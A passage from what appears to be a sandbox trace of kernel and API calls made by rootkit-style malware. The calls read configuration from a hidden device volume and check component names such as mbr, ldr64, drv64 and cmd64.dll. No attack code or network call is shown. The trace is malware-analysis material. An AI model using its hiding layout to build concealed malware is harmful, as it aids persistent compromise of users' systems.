VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.028] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.028] IdePortDispatch () returned 0x103 [0121.028] KeWaitForMutexObject () returned 0x0 [0121.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.028] KeLeaveCriticalRegion () [0121.028] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.028] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.028] KeEnterCriticalRegion () [0121.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.028] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003544000 [0121.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.028] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.028] IdePortDispatch () returned 0x103 [0121.029] KeWaitForMutexObject () returned 0x0 [0121.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.029] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.029] IdePortDispatch () returned 0x103 [0121.029] KeWaitForMutexObject () returned 0x0 [0121.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.029] KeLeaveCriticalRegion () [0121.029] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.029] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.029] KeEnterCriticalRegion () [0121.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.030] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.030] KeLeaveCriticalRegion () [0121.030] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.030] KeEnterCriticalRegion () [0121.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.030] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.030] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.030] KeLeaveCriticalRegion () [0121.030] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.030] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.030] KeEnterCriticalRegion () [0121.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.030] ExFreePoolWithTag (P=0xfffffa8003bbe250, Tag=0x0) [0121.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.030] KeLeaveCriticalRegion () [0121.030] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.030] ReleaseMutex (hMutex=0xf0) returned 1 [0121.030] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.030] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.030] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.030] KeEnterCriticalRegion () [0121.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.030] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.030] IdePortDispatch () returned 0x103 [0121.030] KeWaitForMutexObject () returned 0x0 [0121.030] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.030] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.030] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.030] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.030] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.030] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbda00 [0121.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.030] KeLeaveCriticalRegion () [0121.030] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.031] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.031] KeEnterCriticalRegion () [0121.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.031] KeLeaveCriticalRegion () [0121.031] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.031] KeEnterCriticalRegion () [0121.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.031] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.031] IdePortDispatch () returned 0x103 [0121.031] KeWaitForMutexObject () returned 0x0 [0121.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.031] KeLeaveCriticalRegion () [0121.031] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.031] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.031] KeEnterCriticalRegion () [0121.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003545000 [0121.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.031] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.031] IdePortDispatch () returned 0x103 [0121.031] KeWaitForMutexObject () returned 0x0 [0121.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.032] IdePortDispatch () returned 0x103 [0121.032] KeWaitForMutexObject () returned 0x0 [0121.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.032] KeLeaveCriticalRegion () [0121.032] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.033] KeEnterCriticalRegion () [0121.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.033] KeLeaveCriticalRegion () [0121.033] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.033] KeEnterCriticalRegion () [0121.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.033] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.033] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.033] KeLeaveCriticalRegion () [0121.033] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.033] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.033] KeEnterCriticalRegion () [0121.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.033] ExFreePoolWithTag (P=0xfffffa8003bbda00, Tag=0x0) [0121.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.033] KeLeaveCriticalRegion () [0121.033] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.033] ReleaseMutex (hMutex=0xf0) returned 1 [0121.033] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.033] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.033] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.033] KeEnterCriticalRegion () [0121.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.034] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.034] IdePortDispatch () returned 0x103 [0121.034] KeWaitForMutexObject () returned 0x0 [0121.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.034] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.034] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.034] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.034] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.034] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe950 [0121.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.034] KeLeaveCriticalRegion () [0121.034] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.034] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.034] KeEnterCriticalRegion () [0121.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.034] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.034] KeLeaveCriticalRegion () [0121.034] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.034] KeEnterCriticalRegion () [0121.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.034] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.034] IdePortDispatch () returned 0x103 [0121.034] KeWaitForMutexObject () returned 0x0 [0121.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.035] KeLeaveCriticalRegion () [0121.035] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.035] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.035] KeEnterCriticalRegion () [0121.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.035] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003546000 [0121.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.035] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.035] IdePortDispatch () returned 0x103 [0121.035] KeWaitForMutexObject () returned 0x0 [0121.035] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.035] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.035] IdePortDispatch () returned 0x103 [0121.035] KeWaitForMutexObject () returned 0x0 [0121.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.036] KeLeaveCriticalRegion () [0121.036] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.036] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.036] KeEnterCriticalRegion () [0121.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.036] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.036] KeLeaveCriticalRegion () [0121.036] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.036] KeEnterCriticalRegion () [0121.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.036] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.036] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.036] KeLeaveCriticalRegion () [0121.036] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.036] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.036] KeEnterCriticalRegion () [0121.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.036] ExFreePoolWithTag (P=0xfffffa8003bbe950, Tag=0x0) [0121.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.036] KeLeaveCriticalRegion () [0121.036] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.036] ReleaseMutex (hMutex=0xf0) returned 1 [0121.037] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.037] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.037] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.037] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.037] KeEnterCriticalRegion () [0121.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.037] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.037] IdePortDispatch () returned 0x103 [0121.037] KeWaitForMutexObject () returned 0x0 [0121.037] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.037] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.037] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.037] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.037] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.037] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.037] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.037] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.037] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.037] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.037] KeLeaveCriticalRegion () [0121.037] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.037] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.037] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.037] KeEnterCriticalRegion () [0121.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.037] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.037] IdePortDispatch () returned 0x103 [0121.038] KeWaitForMutexObject () returned 0x0 [0121.038] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.038] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.038] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.038] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.038] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.038] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.038] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.038] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.038] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.038] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.038] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.038] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.038] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.038] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.038] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.038] KeLeaveCriticalRegion () [0121.038] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.038] ReleaseMutex (hMutex=0x100) returned 1 [0121.038] Sleep (dwMilliseconds=0x2bf20) [0121.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b576470, 